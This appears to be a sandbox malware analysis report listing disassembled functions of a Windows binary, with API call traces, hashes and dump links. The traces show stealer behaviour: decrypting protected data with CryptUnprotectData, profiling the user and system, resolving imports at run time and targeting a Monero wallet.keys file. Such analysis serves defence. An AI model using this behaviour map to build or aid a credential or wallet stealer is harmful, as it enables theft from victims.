Function 00129BB0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00129BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00129BF3
LocalFree.KERNEL32(?), ref: 00129C23

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: ff589cf66dc3c4056b4526df96d0f0e30920f4aa30dcc04e8e9dab5d62f242bf
Instruction ID: e4c353d6c1552014e7214208936e6a3ac83c49034751ff3390b7e03d853770dc
Opcode Fuzzy Hash: ff589cf66dc3c4056b4526df96d0f0e30920f4aa30dcc04e8e9dab5d62f242bf
Instruction Fuzzy Hash: 9A110CB8A00209DFCB04DF98D885AAEB7B9FF89300F104568ED159B350D770AE50CF61

Function 001372F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001211B7), ref: 00137320
RtlAllocateHeap.NTDLL(00000000), ref: 00137327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0013733F

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 02e2e7c886ed87692a3b02a7793ddbefc5f7beef79a87a429906f9f93886c358
Instruction ID: b524124217decbb1ff41ed5a393871cac5db654cbbf6b7169045f674d5fd016a
Opcode Fuzzy Hash: 02e2e7c886ed87692a3b02a7793ddbefc5f7beef79a87a429906f9f93886c358
Instruction Fuzzy Hash: 7CF04FB5944248AFC714DF98DC45BAEBBBCFB09B21F10021AFA05A3680D7746504CBA1

Function 00137970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00140DFC), ref: 001379A0
wsprintfA.USER32 ref: 001379B6

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 44d51aa477792149709b1551e52a6f55d6b72aaad3e5d0118cbd18929c23b182
Instruction ID: 1e864c2b02b2f21e26333b85ebe10133b0baf8654e6af849c71ca0ed93ab0867
Opcode Fuzzy Hash: 44d51aa477792149709b1551e52a6f55d6b72aaad3e5d0118cbd18929c23b182
Instruction Fuzzy Hash: F5F096B2914208EBC714CF89EC45FAAB7BCF749724F504669F50593680D7756904CBD1

Function 001395E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,011E58F0), ref: 001395FD
GetProcAddress.KERNEL32(74DD0000,011E5BD0), ref: 00139615
GetProcAddress.KERNEL32(74DD0000,011F9640), ref: 0013962E
GetProcAddress.KERNEL32(74DD0000,011F9658), ref: 00139646
GetProcAddress.KERNEL32(74DD0000,011F95B0), ref: 0013965E
GetProcAddress.KERNEL32(74DD0000,011F9598), ref: 00139677
GetProcAddress.KERNEL32(74DD0000,011EBED8), ref: 0013968F
GetProcAddress.KERNEL32(74DD0000,011FD030), ref: 001396A7
GetProcAddress.KERNEL32(74DD0000,011FCE98), ref: 001396C0
GetProcAddress.KERNEL32(74DD0000,011FCF40), ref: 001396D8
GetProcAddress.KERNEL32(74DD0000,011FCE68), ref: 001396F0
GetProcAddress.KERNEL32(74DD0000,011E5AD0), ref: 00139709
GetProcAddress.KERNEL32(74DD0000,011E5930), ref: 00139721
GetProcAddress.KERNEL32(74DD0000,011E5950), ref: 00139739
GetProcAddress.KERNEL32(74DD0000,011E5970), ref: 00139752
GetProcAddress.KERNEL32(74DD0000,011FD078), ref: 0013976A
GetProcAddress.KERNEL32(74DD0000,011FCE50), ref: 00139782
GetProcAddress.KERNEL32(74DD0000,011EBDC0), ref: 0013979B
GetProcAddress.KERNEL32(74DD0000,011E5990), ref: 001397B3
GetProcAddress.KERNEL32(74DD0000,011FD048), ref: 001397CB
GetProcAddress.KERNEL32(74DD0000,011FD0F0), ref: 001397E4
GetProcAddress.KERNEL32(74DD0000,011FD0C0), ref: 001397FC
GetProcAddress.KERNEL32(74DD0000,011FD0D8), ref: 00139814
GetProcAddress.KERNEL32(74DD0000,011E59B0), ref: 0013982D
GetProcAddress.KERNEL32(74DD0000,011FD060), ref: 00139845
GetProcAddress.KERNEL32(74DD0000,011FD090), ref: 0013985D
GetProcAddress.KERNEL32(74DD0000,011FCFB8), ref: 00139876
GetProcAddress.KERNEL32(74DD0000,011FD0A8), ref: 0013988E
GetProcAddress.KERNEL32(74DD0000,011FCF28), ref: 001398A6
GetProcAddress.KERNEL32(74DD0000,011FCFD0), ref: 001398BF
GetProcAddress.KERNEL32(74DD0000,011FCE08), ref: 001398D7
GetProcAddress.KERNEL32(74DD0000,011FCF58), ref: 001398EF
GetProcAddress.KERNEL32(74DD0000,011FCF88), ref: 00139908
GetProcAddress.KERNEL32(74DD0000,011FA520), ref: 00139920
GetProcAddress.KERNEL32(74DD0000,011FCFE8), ref: 00139938
GetProcAddress.KERNEL32(74DD0000,011FCF70), ref: 00139951
GetProcAddress.KERNEL32(74DD0000,011E5AF0), ref: 00139969
GetProcAddress.KERNEL32(74DD0000,011FD000), ref: 00139981
GetProcAddress.KERNEL32(74DD0000,011E54D0), ref: 0013999A
GetProcAddress.KERNEL32(74DD0000,011FCE20), ref: 001399B2
GetProcAddress.KERNEL32(74DD0000,011FCE38), ref: 001399CA
GetProcAddress.KERNEL32(74DD0000,011E54B0), ref: 001399E3
GetProcAddress.KERNEL32(74DD0000,011E5830), ref: 001399FB
LoadLibraryA.KERNEL32(011FCE80,?,00135783,00140AD2,?,?,?,?,?,?,?,?,?,?,00140ACF,00140ACE), ref: 00139A0D
LoadLibraryA.KERNEL32(011FCFA0,?,00135783,00140AD2,?,?,?,?,?,?,?,?,?,?,00140ACF,00140ACE), ref: 00139A1E
LoadLibraryA.KERNEL32(011FD018,?,00135783,00140AD2,?,?,?,?,?,?,?,?,?,?,00140ACF,00140ACE), ref: 00139A30
LoadLibraryA.KERNEL32(011FCEB0,?,00135783,00140AD2,?,?,?,?,?,?,?,?,?,?,00140ACF,00140ACE), ref: 00139A42
LoadLibraryA.KERNEL32(011FCEC8,?,00135783,00140AD2,?,?,?,?,?,?,?,?,?,?,00140ACF,00140ACE), ref: 00139A53
LoadLibraryA.KERNEL32(011FCEE0,?,00135783,00140AD2,?,?,?,?,?,?,?,?,?,?,00140ACF,00140ACE), ref: 00139A65
LoadLibraryA.KERNEL32(011FCEF8,?,00135783,00140AD2,?,?,?,?,?,?,?,?,?,?,00140ACF,00140ACE), ref: 00139A77
LoadLibraryA.KERNEL32(011FCF10,?,00135783,00140AD2,?,?,?,?,?,?,?,?,?,?,00140ACF,00140ACE), ref: 00139A88
GetProcAddress.KERNEL32(75290000,011E55F0), ref: 00139AAA
GetProcAddress.KERNEL32(75290000,011FD1B0), ref: 00139AC2
GetProcAddress.KERNEL32(75290000,011F9250), ref: 00139ADA
GetProcAddress.KERNEL32(75290000,011FD2A0), ref: 00139AF3
GetProcAddress.KERNEL32(75290000,011E5590), ref: 00139B0B
GetProcAddress.KERNEL32(73B40000,011EB9B0), ref: 00139B30
GetProcAddress.KERNEL32(73B40000,011E5450), ref: 00139B49
GetProcAddress.KERNEL32(73B40000,011EB9D8), ref: 00139B61
GetProcAddress.KERNEL32(73B40000,011FD270), ref: 00139B79
GetProcAddress.KERNEL32(73B40000,011FD150), ref: 00139B92
GetProcAddress.KERNEL32(73B40000,011E5810), ref: 00139BAA
GetProcAddress.KERNEL32(73B40000,011E54F0), ref: 00139BC2
GetProcAddress.KERNEL32(73B40000,011FD2E8), ref: 00139BDB
GetProcAddress.KERNEL32(752C0000,011E5530), ref: 00139BFC
GetProcAddress.KERNEL32(752C0000,011E56F0), ref: 00139C14
GetProcAddress.KERNEL32(752C0000,011FD288), ref: 00139C2D
GetProcAddress.KERNEL32(752C0000,011FD3F0), ref: 00139C45
GetProcAddress.KERNEL32(752C0000,011E5510), ref: 00139C5D
GetProcAddress.KERNEL32(74EC0000,011EB7A8), ref: 00139C83
GetProcAddress.KERNEL32(74EC0000,011EBB68), ref: 00139C9B
GetProcAddress.KERNEL32(74EC0000,011FD348), ref: 00139CB3
GetProcAddress.KERNEL32(74EC0000,011E5550), ref: 00139CCC
GetProcAddress.KERNEL32(74EC0000,011E5470), ref: 00139CE4
GetProcAddress.KERNEL32(74EC0000,011EBB18), ref: 00139CFC
GetProcAddress.KERNEL32(75BD0000,011FD360), ref: 00139D22
GetProcAddress.KERNEL32(75BD0000,011E56B0), ref: 00139D3A
GetProcAddress.KERNEL32(75BD0000,011F90A0), ref: 00139D52
GetProcAddress.KERNEL32(75BD0000,011FD198), ref: 00139D6B
GetProcAddress.KERNEL32(75BD0000,011FD168), ref: 00139D83
GetProcAddress.KERNEL32(75BD0000,011E57F0), ref: 00139D9B
GetProcAddress.KERNEL32(75BD0000,011E5490), ref: 00139DB4
GetProcAddress.KERNEL32(75BD0000,011FD2D0), ref: 00139DCC
GetProcAddress.KERNEL32(75BD0000,011FD240), ref: 00139DE4
GetProcAddress.KERNEL32(75A70000,011E5570), ref: 00139E06
GetProcAddress.KERNEL32(75A70000,011FD258), ref: 00139E1E
GetProcAddress.KERNEL32(75A70000,011FD378), ref: 00139E36
GetProcAddress.KERNEL32(75A70000,011FD1C8), ref: 00139E4F
GetProcAddress.KERNEL32(75A70000,011FD1F8), ref: 00139E67
GetProcAddress.KERNEL32(75450000,011E5670), ref: 00139E88
GetProcAddress.KERNEL32(75450000,011E55B0), ref: 00139EA1
GetProcAddress.KERNEL32(75DA0000,011E55D0), ref: 00139EC2
GetProcAddress.KERNEL32(75DA0000,011FD330), ref: 00139EDA
GetProcAddress.KERNEL32(6F090000,011E57D0), ref: 00139F00
GetProcAddress.KERNEL32(6F090000,011E5730), ref: 00139F18
GetProcAddress.KERNEL32(6F090000,011E5630), ref: 00139F30
GetProcAddress.KERNEL32(6F090000,011FD3C0), ref: 00139F49
GetProcAddress.KERNEL32(6F090000,011E57B0), ref: 00139F61
GetProcAddress.KERNEL32(6F090000,011E5610), ref: 00139F79
GetProcAddress.KERNEL32(6F090000,011E5650), ref: 00139F92
GetProcAddress.KERNEL32(6F090000,011E5690), ref: 00139FAA
GetProcAddress.KERNEL32(6F090000,InternetSetOptionA), ref: 00139FC1
GetProcAddress.KERNEL32(6F090000,HttpQueryInfoA), ref: 00139FD7
GetProcAddress.KERNEL32(75AF0000,011FD2B8), ref: 00139FF9
GetProcAddress.KERNEL32(75AF0000,011F90D0), ref: 0013A011
GetProcAddress.KERNEL32(75AF0000,011FD3D8), ref: 0013A029
GetProcAddress.KERNEL32(75AF0000,011FD390), ref: 0013A042
GetProcAddress.KERNEL32(75D90000,011E56D0), ref: 0013A063
GetProcAddress.KERNEL32(6F9F0000,011FD108), ref: 0013A084
GetProcAddress.KERNEL32(6F9F0000,011E5710), ref: 0013A09D
GetProcAddress.KERNEL32(6F9F0000,011FD120), ref: 0013A0B5
GetProcAddress.KERNEL32(6F9F0000,011FD3A8), ref: 0013A0CD

Strings

HttpQueryInfoA, xrefs: 00139FCC
InternetSetOptionA, xrefs: 00139FB5

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 54bcc7e220be5d0745837ec8b419578e32832e6431b7a5a57ccfcb0d8e013efd
Instruction ID: 28b57d811d656951e72ce48d042c3bf973740354e8c1d4524fc96fb98867a635
Opcode Fuzzy Hash: 54bcc7e220be5d0745837ec8b419578e32832e6431b7a5a57ccfcb0d8e013efd
Instruction Fuzzy Hash: 496254BD522200AFC386DFA8EC88D1637AEF78E741F406519E505CB664DF38B449DB64

Function 00127750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00127764
RtlAllocateHeap.NTDLL(00000000), ref: 0012776B
lstrcat.KERNEL32(?,011F9C90), ref: 0012791B
lstrcat.KERNEL32(?,?), ref: 0012792F
lstrcat.KERNEL32(?,?), ref: 00127943
lstrcat.KERNEL32(?,?), ref: 00127957
lstrcat.KERNEL32(?,011FE258), ref: 0012796B
lstrcat.KERNEL32(?,011FE330), ref: 0012797F
lstrcat.KERNEL32(?,011FE300), ref: 00127992
lstrcat.KERNEL32(?,011FE198), ref: 001279A6
lstrcat.KERNEL32(?,011F9D18), ref: 001279BA
lstrcat.KERNEL32(?,?), ref: 001279CE
lstrcat.KERNEL32(?,?), ref: 001279E2
lstrcat.KERNEL32(?,?), ref: 001279F6
lstrcat.KERNEL32(?,011FE258), ref: 00127A09
lstrcat.KERNEL32(?,011FE330), ref: 00127A1D
lstrcat.KERNEL32(?,011FE300), ref: 00127A31
lstrcat.KERNEL32(?,011FE198), ref: 00127A44
lstrcat.KERNEL32(?,011F9D80), ref: 00127A58
lstrcat.KERNEL32(?,?), ref: 00127A6C
lstrcat.KERNEL32(?,?), ref: 00127A80
lstrcat.KERNEL32(?,?), ref: 00127A94
lstrcat.KERNEL32(?,011FE258), ref: 00127AA8
lstrcat.KERNEL32(?,011FE330), ref: 00127ABB
lstrcat.KERNEL32(?,011FE300), ref: 00127ACF
lstrcat.KERNEL32(?,011FE198), ref: 00127AE3
lstrcat.KERNEL32(?,011F9DE8), ref: 00127AF6
lstrcat.KERNEL32(?,?), ref: 00127B0A
lstrcat.KERNEL32(?,?), ref: 00127B1E
lstrcat.KERNEL32(?,?), ref: 00127B32
lstrcat.KERNEL32(?,011FE258), ref: 00127B46
lstrcat.KERNEL32(?,011FE330), ref: 00127B5A
lstrcat.KERNEL32(?,011FE300), ref: 00127B6D
lstrcat.KERNEL32(?,011FE198), ref: 00127B81
lstrcat.KERNEL32(?,011FE658), ref: 00127B95
lstrcat.KERNEL32(?,?), ref: 00127BA9
lstrcat.KERNEL32(?,?), ref: 00127BBD
lstrcat.KERNEL32(?,?), ref: 00127BD1
lstrcat.KERNEL32(?,011FE258), ref: 00127BE4
lstrcat.KERNEL32(?,011FE330), ref: 00127BF8
lstrcat.KERNEL32(?,011FE300), ref: 00127C0C
lstrcat.KERNEL32(?,011FE198), ref: 00127C1F
lstrcat.KERNEL32(?,011FE6C0), ref: 00127C33
lstrcat.KERNEL32(?,?), ref: 00127C47
lstrcat.KERNEL32(?,?), ref: 00127C5B
lstrcat.KERNEL32(?,?), ref: 00127C6F
lstrcat.KERNEL32(?,011FE258), ref: 00127C83
lstrcat.KERNEL32(?,011FE330), ref: 00127C96
lstrcat.KERNEL32(?,011FE300), ref: 00127CAA
lstrcat.KERNEL32(?,011FE198), ref: 00127CBE

Part of subcall function 00127610: lstrcat.KERNEL32(2F6C2020,001417A0), ref: 00127646
Part of subcall function 00127610: lstrcat.KERNEL32(2F6C2020,00000000), ref: 00127688
Part of subcall function 00127610: lstrcat.KERNEL32(2F6C2020, : ), ref: 0012769A
Part of subcall function 00127610: lstrcat.KERNEL32(2F6C2020,00000000), ref: 001276CF
Part of subcall function 00127610: lstrcat.KERNEL32(2F6C2020,001417A8), ref: 001276E0
Part of subcall function 00127610: lstrcat.KERNEL32(2F6C2020,00000000), ref: 00127713
Part of subcall function 00127610: lstrcat.KERNEL32(2F6C2020,001417AC), ref: 0012772D
Part of subcall function 00127610: task.LIBCPMTD ref: 0012773B

lstrcat.KERNEL32(?,011FEA18), ref: 00127E4B
lstrcat.KERNEL32(?,011FD9B0), ref: 00127E5E
lstrlen.KERNEL32(2F6C2020), ref: 00127E6B
lstrlen.KERNEL32(2F6C2020), ref: 00127E7B

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: db4c6f916df82a78677caad801ecb36fa491d480beb5aa373608dee6b825b43b
Instruction ID: 15eee455bab69fbaa3c466d3e48894e4f75b33a377bd3033e9b8f9ad47b86222
Opcode Fuzzy Hash: db4c6f916df82a78677caad801ecb36fa491d480beb5aa373608dee6b825b43b
Instruction Fuzzy Hash: FB325FB6810314ABCB55EBA0DC89DDE773CAB59700F448A89F209A7190DF74E789CF64

Function 00130090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 00138880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001388AB

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00129A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00129A3C
Part of subcall function 00129A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A61
